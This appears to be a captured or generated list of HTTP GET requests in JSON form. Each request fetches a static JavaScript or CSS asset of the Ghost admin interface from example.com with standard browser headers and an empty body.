{"method": "GET", "target": "/ghost/assets/config-xRSk2505.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/preload-helper-DSa19gJg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/index-C3xC5ZJE.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/chunk-6KYCQHYJ-KAiPDQaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/shade-context-I3ZE4fr1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/types-tDCnhhI9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/stack-Cw1NkXQD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/router-provider-Ck_ALVt2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/inline-cOcQBh0m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/text-Bh3jlIZm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/lazy-component-B6EO-LGC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-feature-flag-B2AxquJq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/schemas-CktAcdb3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-BML9cxFI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-D3v6eoke.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/es2015-LSK0Wp3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-DItC4Fk2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-D9kRdzHX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-6DqAnDJT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/tooltip-DkgXrCfH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-C43r8Yet.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/button-rpPCYpff.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/accordion-D5n73vMe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/a-large-small-t76h0K2a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/activity-DF_5iIbe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/power-Dm59e8zN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/archive-C7eG93IF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/arrow-down-CyS8-WaT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/arrow-left-BO9d1zfd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/arrow-right-left-RUZQQxLM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/arrow-right-DS949Nuj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/star-off-CTupjXjv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/arrow-up-right-B1Aj0Uhl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/arrow-up-DgXkz7LS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/at-sign-C4B0lVaG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/badge-check-VTMH985H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/ban-Dcu1gwnk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/waypoints-q7i1re5i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/file-pen-CDIBdMvj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/underline-iyhoxAXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/book-open-0h559276.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/rocket-CA4Xy7UD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/ticket-DZPWSm3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/panel-right-DSxQPvgK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/list-filter-plus-DfUqgJ8X.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/chart-no-axes-column-BrpLYwIe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/check-BiQqsmBo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/chevron-left-wJGECQn7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/chevron-right-vFyqDRE3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/chevron-up-Ca2VI5ye.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/circle-alert-C1QHFpHs.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/info-BifJoFuF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/circle-x-C1RC-lFT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/circle-question-mark-Cgm_Ty1J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/mail-minus-BkihFWcb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/circle-fxmCMRvb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/clock-B9ZlYmYW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/settings-C6dh2TtS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/cloud-off-DOHpaTme.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/code-DG4vO94L.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/coins-CumgzPZa.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/copy-3K3KXqHW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/credit-card-eZVjvrhJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/pin-off-lnj6yrbM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/download-C43CSKLy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/ellipsis-DCpJZgxv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/external-link-CKnhHaI-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/eye-off-6sJT53Wg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/eye-BUSwIvtb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/text-wrap-D8X937cr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/mouse-pointer-2-off-JHhWtGhM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/gift-CjBqHEmp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/globe-B4vZvmY9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/hash-By5cPrAh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/heart-CDBO0M2K.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/history-BLta4f7G.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/user-round-plus-CNwSXyN2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
